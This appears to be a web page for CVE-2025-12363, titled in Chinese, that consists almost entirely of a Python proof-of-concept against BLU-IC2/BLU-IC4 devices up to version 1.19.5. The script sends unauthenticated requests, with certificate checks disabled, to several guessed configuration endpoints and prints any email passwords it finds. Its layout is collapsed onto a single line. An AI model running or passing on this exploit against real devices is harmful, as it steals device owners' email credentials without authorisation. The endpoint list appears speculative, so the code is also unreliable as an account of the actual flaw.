CVE-2025-12363 BLU-IC2/BLU-IC4 邮件密码泄露漏洞

import requests import json # CVE-2025-12363 PoC - Email Password Disclosure in BLU-IC2/BLU-IC4 # Target: BLU-IC2 or BLU-IC4 devices through version 1.19.5 def exploit_cve_2025_12363(target_url): """ PoC for CVE-2025-12363: Email Password Disclosure This script demonstrates how an unauthenticated attacker can retrieve email passwords from vulnerable BLU-IC2/BLU-IC4 devices. """ # Target endpoint that exposes email configuration endpoints = [ "/api/v1/email/config", "/api/email/settings", "/cgi-bin/email_config.cgi", "/admin/email_password" ] results = { "target": target_url, "cve_id": "CVE-2025-12363", "vulnerability": "Email Password Disclosure", "affected_versions": "BLU-IC2 <= 1.19.5, BLU-IC4 <= 1.19.5", "findings": [] } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send GET request without authentication response = requests.get(url, timeout=10, verify=False) # Check if response contains password information if response.status_code == 200: # Look for password fields in response data = response.json() if response.headers.get('content-type', '').find('json') != -1 else response.text # Search for password-related fields if 'password' in str(data).lower() or 'pwd' in str(data).lower(): results["findings"].append({ "endpoint": endpoint, "status": "VULNERABLE", "response": data }) print(f"[+] VULNERABLE: {url}") print(f"[+] Email password exposed: {data}") else: results["findings"].append({ "endpoint": endpoint, "status": "No password found" }) elif response.status_code == 401: results["findings"].append({ "endpoint": endpoint, "status": "Authentication required (patched)" }) except requests.exceptions.RequestException as e: results["findings"].append({ "endpoint": endpoint, "status": f"Error: {str(e)}" }) return results if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-device.local" print(f"[*] Scanning {target} for CVE-2025-12363") print(f"[*] Vulnerability: Email Password Disclosure") print("-" * 50) results = exploit_cve_2025_12363(target) print("\n[*] Scan complete") print(json.dumps(results, indent=2))